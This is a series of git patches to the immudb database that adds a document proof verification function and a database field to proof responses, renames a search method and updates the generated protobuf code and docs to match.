0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, + 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, 0x0e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, 0x2c, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, + 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, + 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa3, 0x01, 0x0a, 0x10, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, + 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, + 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x55, 0x70, 0x64, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, + 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, + 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, + 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, + 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, + 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, + 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, + 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, + 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, + 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, + 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index 417b0d1470..def80355be 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -116,9 +116,10 @@ message DocumentProofRequest { } message DocumentProofResponse { - uint32 collectionId = 1; - bytes rawEncodedValue = 2; - schema.VerifiableTxV2 verifiableTx = 3; + string database = 1; + uint32 collectionId = 2; + bytes rawEncodedValue = 3; + schema.VerifiableTxV2 verifiableTx = 4; } message DocumentAuditRequest { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 16bf1e421c..cd6fdf2681 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -525,6 +525,9 @@ "documentschemaDocumentProofResponse": { "type": "object", "properties": { + "database": { + "type": "string" + }, "collectionId": { "type": "integer", "format": "int64" diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index dbf0ac1edc..d9f65eb591 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -282,6 +282,7 @@ func (d *db) DocumentProof(ctx context.Context, req *schemav2.DocumentProofReque } return &schemav2.DocumentProofResponse{ + Database: d.name, CollectionId: collectionID, RawEncodedValue: docAudit.Value, VerifiableTx: &schema.VerifiableTxV2{ diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 1a2bc52246..8782f44eba 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -7,8 +7,10 @@ import ( "testing" "github.com/codenotary/immudb/embedded/document" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" "github.com/codenotary/immudb/pkg/logger" + "github.com/codenotary/immudb/pkg/verification" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/structpb" ) @@ -103,4 +105,15 @@ func TestObjectDB_Collection(t *testing.T) { err = json.Unmarshal([]byte(res.Fields[document.DocumentBLOBField].GetStringValue()), &data) require.NoError(t, err) require.Equal(t, 123.0, data["pincode"]) + + proofRes, err := db.DocumentProof(context.Background(), &schemav2.DocumentProofRequest{ + Collection: collectionName, + DocumentId: docRes.DocumentId, + }) + require.NoError(t, err) + require.NotNil(t, proofRes) + + newState, err := verification.VerifyDocument(context.Background(), proofRes, docRes.DocumentId, rawDoc, nil, nil) + require.NoError(t, err) + require.Equal(t, proofRes.VerifiableTx.DualProof.TargetTxHeader.Id, newState.TxId) } diff --git a/pkg/verification/verification.go b/pkg/verification/verification.go new file mode 100644 index 0000000000..8134870830 --- /dev/null +++ b/pkg/verification/verification.go @@ -0,0 +1,211 @@ +/* +Copyright 2023 Codenotary Inc. All rights reserved. + +Licensed under the Apache License, Version 2.0 (the "License"); +you may not use this file except in compliance with the License. +You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + +Unless required by applicable law or agreed to in writing, software +distributed under the License is distributed on an "AS IS" BASIS, +WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +See the License for the specific language governing permissions and +limitations under the License. +*/ +package verification + +import ( + "bytes" + "context" + "crypto/ecdsa" + "crypto/sha256" + "encoding/json" + "fmt" + + "github.com/codenotary/immudb/embedded/document" + "github.com/codenotary/immudb/embedded/htree" + "github.com/codenotary/immudb/embedded/sql" + "github.com/codenotary/immudb/embedded/store" + schemav2 "github.com/codenotary/immudb/pkg/api/documentschema" + "github.com/codenotary/immudb/pkg/api/schema" + structpb "github.com/golang/protobuf/ptypes/struct" +) + +const documentPrefix byte = 3 +const encodedValuePrefixLen int = 36 + +func VerifyDocument(ctx context.Context, + proof *schemav2.DocumentProofResponse, + docID string, + rawDoc *structpb.Struct, + lastValidatedState *schema.ImmutableState, + serverSigningPubKey *ecdsa.PublicKey, +) (*schema.ImmutableState, error) { + + if proof == nil || rawDoc == nil { + return nil, store.ErrIllegalArguments + } + + encDocKey, err := encodedKeyForDocument(proof.CollectionId, docID) + if err != nil { + return nil, err + } + + var keyFound int + + for _, txEntry := range proof.VerifiableTx.Tx.Entries { + if bytes.Equal(txEntry.Key, encDocKey) { + hVal := sha256.Sum256(proof.RawEncodedValue) + + if !bytes.Equal(hVal[:], txEntry.HValue) { + return nil, store.ErrInvalidProof + } + + keyFound++ + } + } + + if keyFound != 1 { + return nil, fmt.Errorf("%w: document entry was not found or it was found multiple times", store.ErrInvalidProof) + } + + // check encoded value is consistent with raw document + rawDocBytes, err := json.Marshal(rawDoc) + if err != nil { + return nil, err + } + + if !bytes.Equal(rawDocBytes, proof.RawEncodedValue[encodedValuePrefixLen:encodedValuePrefixLen+len(rawDocBytes)]) { + return nil, store.ErrInvalidProof + } + + entries := proof.VerifiableTx.Tx.Entries + + htree, err := htree.New(len(entries)) + if err != nil { + return nil, err + } + + entrySpecDigest, err := store.EntrySpecDigestFor(int(proof.VerifiableTx.Tx.Header.Version)) + if err != nil { + return nil, err + } + + digests := make([][sha256.Size]byte, len(entries)) + + for i, e := range entries { + eSpec := &store.EntrySpec{ + Key: e.Key, + Metadata: schema.KVMetadataFromProto(e.Metadata), + HashValue: schema.DigestFromProto(e.HValue), + IsValueTruncated: true, + } + digests[i] = entrySpecDigest(eSpec) + } + + err = htree.BuildWith(digests) + if err != nil { + return nil, err + } + + txHdr := schema.TxHeaderFromProto(proof.VerifiableTx.Tx.Header) + + if htree.Root() != txHdr.Eh { + return nil, store.ErrInvalidProof + } + + dualProof := schema.DualProofV2FromProto(proof.VerifiableTx.DualProof) + + sourceID := proof.VerifiableTx.DualProof.SourceTxHeader.Id + sourceAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.SourceTxHeader).Alh() + + targetID := proof.VerifiableTx.DualProof.TargetTxHeader.Id + targetAlh := schema.TxHeaderFromProto(proof.VerifiableTx.DualProof.TargetTxHeader).Alh() + + if txHdr.ID == sourceID { + if txHdr.Alh() != sourceAlh { + return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) + } + } else if txHdr.ID == targetID { + if txHdr.Alh() != targetAlh { + return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) + } + } else { + return nil, fmt.Errorf("%w: tx must match source or target tx headers", store.ErrInvalidProof) + } + + if lastValidatedState != nil && lastValidatedState.TxId > 0 { + if lastValidatedState.TxId == sourceID { + if !bytes.Equal(lastValidatedState.TxHash, sourceAlh[:]) { + return nil, fmt.Errorf("%w: lastValidatedTransactionAlh must match source or target tx alh", store.ErrInvalidProof) + } + } else if lastValidatedState.TxId == targetID { + if !bytes.Equal(lastValidatedState.TxHash, targetAlh[:]) { + return nil, fmt.Errorf("%w: lastValidatedTransactionAlh must match source or target tx alh", store.ErrInvalidProof) + } + } else { + return nil, fmt.Errorf("%w: lastValidatedTransactionAlh must match source or target tx alh", store.ErrInvalidProof) + } + } + + err = store.VerifyDualProofV2( + dualProof, + sourceID, + targetID, + sourceAlh, + targetAlh, + ) + if err != nil { + return nil, err + } + + state := &schema.ImmutableState{ + Db: proof.Database, + TxId: targetID, + TxHash: targetAlh[:], + Signature: proof.VerifiableTx.Signature, + } + + if serverSigningPubKey != nil { + ok, err := state.CheckSignature(serverSigningPubKey) + if err != nil { + return nil, err + } + if !ok { + return nil, store.ErrInvalidProof + } + } + + return state, nil +} + +func encodedKeyForDocument(collectionID uint32, documentID string) ([]byte, error) { + docID, err := document.DocumentIDFromHex(documentID) + if err != nil { + return nil, err + } + + valbuf := bytes.Buffer{} + + rval := sql.NewBlob(docID[:]) + encVal, err := sql.EncodeRawValueAsKey(rval.RawValue(), sql.BLOBType, 16) + if err != nil { + return nil, err + } + _, err = valbuf.Write(encVal) + if err != nil { + return nil, err + } + + pkEncVals := valbuf.Bytes() + + return sql.MapKey( + []byte{documentPrefix}, + sql.PIndexPrefix, + sql.EncodeID(1), + sql.EncodeID(collectionID), + sql.EncodeID(0), // pk index id + pkEncVals, + ), nil +} From adc513c258af4814f9dc3293a796e2999eafd92a Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 09:03:48 -0300 Subject: [PATCH 0414/1062] chore(pkg/database): minor document renaming Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 6 +++--- pkg/database/document_database_test.go | 4 ++-- pkg/server/db_dummy_closed.go | 4 ++-- pkg/server/documents_operations.go | 2 +- 4 files changed, 8 insertions(+), 8 deletions(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index d9f65eb591..8694035941 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -33,7 +33,7 @@ type DocumentDatabase interface { // DeleteCollection deletes a collection DeleteCollection(ctx context.Context, req *schemav2.CollectionDeleteRequest) (*schemav2.CollectionDeleteResponse, error) // GetDocument returns the document - GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) + SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) // CreateDocument creates a new document CreateDocument(ctx context.Context, req *schemav2.DocumentInsertRequest) (*schemav2.DocumentInsertResponse, error) // DocumentAudit returns the document audit history @@ -127,8 +127,8 @@ func (d *db) CreateDocument(ctx context.Context, req *schemav2.DocumentInsertReq }, nil } -// GetDocument returns the document -func (d *db) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { +// SearchDocuments returns the documents matching the search request constraints +func (d *db) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { queries := make([]*document.Query, 0, len(req.Query)) for _, q := range req.Query { queries = append(queries, &document.Query{ diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 8782f44eba..76a71e69f4 100644 --- a/pkg/database/document_database_test.go +++ b/pkg/database/document_database_test.go @@ -43,7 +43,7 @@ func makeDocumentDb(t *testing.T) *db { return db } -func TestObjectDB_Collection(t *testing.T) { +func TestDocumentDB_Collection(t *testing.T) { db := makeDocumentDb(t) // create collection @@ -84,7 +84,7 @@ func TestObjectDB_Collection(t *testing.T) { require.NotNil(t, docRes) // query collection for document - docs, err := db.GetDocument(context.Background(), &schemav2.DocumentSearchRequest{ + docs, err := db.SearchDocuments(context.Background(), &schemav2.DocumentSearchRequest{ Collection: collectionName, Page: 1, PerPage: 10, diff --git a/pkg/server/db_dummy_closed.go b/pkg/server/db_dummy_closed.go index 1c2ea29d46..c958896466 100644 --- a/pkg/server/db_dummy_closed.go +++ b/pkg/server/db_dummy_closed.go @@ -255,8 +255,8 @@ func (d *closedDB) CreateCollection(ctx context.Context, req *schemav2.Collectio return nil, store.ErrAlreadyClosed } -// GetDocument returns the document -func (d *closedDB) GetDocument(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { +// SearchDocuments returns the document +func (d *closedDB) SearchDocuments(ctx context.Context, req *schemav2.DocumentSearchRequest) (*schemav2.DocumentSearchResponse, error) { return nil, store.ErrAlreadyClosed } diff --git a/pkg/server/documents_operations.go b/pkg/server/documents_operations.go index 655fff9c2e..aa664e9bfe 100644 --- a/pkg/server/documents_operations.go +++ b/pkg/server/documents_operations.go @@ -52,7 +52,7 @@ func (s *ImmuServer) DocumentSearch(ctx context.Context, req *documentschema.Doc if err != nil { return nil, err } - resp, err := db.GetDocument(ctx, req) + resp, err := db.SearchDocuments(ctx, req) if err != nil { return nil, err } From 81376bf96eb7a00e49691ce2d0b82d553144aad0 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 12 Apr 2023 10:31:22 -0300 Subject: [PATCH 0415/1062] chore(pkg/api): remove unsupported attribute from response messages Signed-off-by: Jeronimo Irazabal --- pkg/api/documentschema/docs.md | 2 - pkg/api/documentschema/documentschema.pb.go | 530 +++++++++--------- pkg/api/documentschema/documentschema.proto | 2 - .../documentschema.swagger.json | 8 - 4 files changed, 255 insertions(+), 287 deletions(-) diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 2c4a27c5fa..61d78aa3a3 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -302,7 +302,6 @@ | results | [DocumentAudit](#immudb.documentschema.DocumentAudit) | repeated | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | -| entriesLeft | [uint32](#uint32) | | | @@ -423,7 +422,6 @@ | results | [google.protobuf.Struct](#google.protobuf.Struct) | repeated | | | page | [uint32](#uint32) | | | | perPage | [uint32](#uint32) | | | -| entriesLeft | [uint32](#uint32) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 9b4bf21a70..11a53a24c6 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -625,10 +625,9 @@ type DocumentSearchResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` + Results []*_struct.Struct `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentSearchResponse) Reset() { @@ -684,13 +683,6 @@ func (x *DocumentSearchResponse) GetPerPage() uint32 { return 0 } -func (x *DocumentSearchResponse) GetEntriesLeft() uint32 { - if x != nil { - return x.EntriesLeft - } - return 0 -} - type DocumentProofRequest struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -909,10 +901,9 @@ type DocumentAuditResponse struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Results []*DocumentAudit `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` - Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` - PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` - EntriesLeft uint32 `protobuf:"varint,4,opt,name=entriesLeft,proto3" json:"entriesLeft,omitempty"` + Results []*DocumentAudit `protobuf:"bytes,1,rep,name=results,proto3" json:"results,omitempty"` + Page uint32 `protobuf:"varint,2,opt,name=page,proto3" json:"page,omitempty"` + PerPage uint32 `protobuf:"varint,3,opt,name=perPage,proto3" json:"perPage,omitempty"` } func (x *DocumentAuditResponse) Reset() { @@ -968,13 +959,6 @@ func (x *DocumentAuditResponse) GetPerPage() uint32 { return 0 } -func (x *DocumentAuditResponse) GetEntriesLeft() uint32 { - if x != nil { - return x.EntriesLeft - } - return 0 -} - type DocumentAudit struct { state protoimpl.MessageState sizeCache protoimpl.SizeCache @@ -1696,82 +1680,99 @@ var file_documentschema_proto_rawDesc = []byte{ 0x75, 0x65, 0x72, 0x79, 0x52, 0x05, 0x71, 0x75, 0x65, 0x72, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x07, 0x70, 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x22, 0x9b, 0x01, 0x0a, 0x16, 0x44, 0x6f, - 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x31, 0x0a, 0x07, 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x18, - 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, - 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x53, 0x74, 0x72, 0x75, 0x63, 0x74, 0x52, 0x07, - 0x72, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x73, 0x12, 0x12, 0x0a, 0x04, 0x70, 0x61, 0x67, 0x65, 0x18, - 0x02, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x70, 0x61, 0x67, 0x65, 0x12, 0x18, 0x0a, 0x07, 0x70, - 0x65, 0x72, 0x50, 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x07, 0x70, 0x65, - 0x72, 0x50, 0x61, 0x67, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x65, 0x6e, 0x74, 0x72, 0x69, 0x65, 0x73, - 0x4c, 0x65, 0x66, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0b, 0x65, 0x6e, 0x74, 0x72, - 0x69, 0x65, 0x73, 0x4c, 0x65, 0x66, 0x74, 0x22, 0xbc, 0x01, 0x0a, 0x14, 0x44, 0x6f, 0x63, 0x75, - 0x6d, 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x12, 0x1e, 0x0a, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, - 0x12, 0x1e, 0x0a, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, 0x64, - 0x12, 0x24, 0x0a, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, - 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x04, 0x52, 0x0d, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x12, 0x3e, 0x0a, 0x1a, 0x6c, 0x61, 0x73, 0x74, 0x56, 0x61, - 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x04, 0x20, 0x01, 0x28, 0x04, 0x52, 0x1a, 0x6c, 0x61, 0x73, 0x74, - 0x56, 0x61, 0x6c, 0x69, 0x64, 0x61, 0x74, 0x65, 0x64, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, - 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x22, 0xc4, 0x01, 0x0a, 0x15, 0x44, 0x6f, 0x63, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x50, 0x72, 0x6f, 0x6f, 0x66, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, - 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x22, 0x0a, 0x0c, - 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x0c, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x64, - 0x12, 0x28, 0x0a, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, - 0x6c, 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x0f, 0x72, 0x61, 0x77, 0x45, 0x6e, - 0x63, 0x6f, 0x64, 0x65, 0x64, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x41, 0x0a, 0x0c, 0x76, 0x65, - 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, - 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 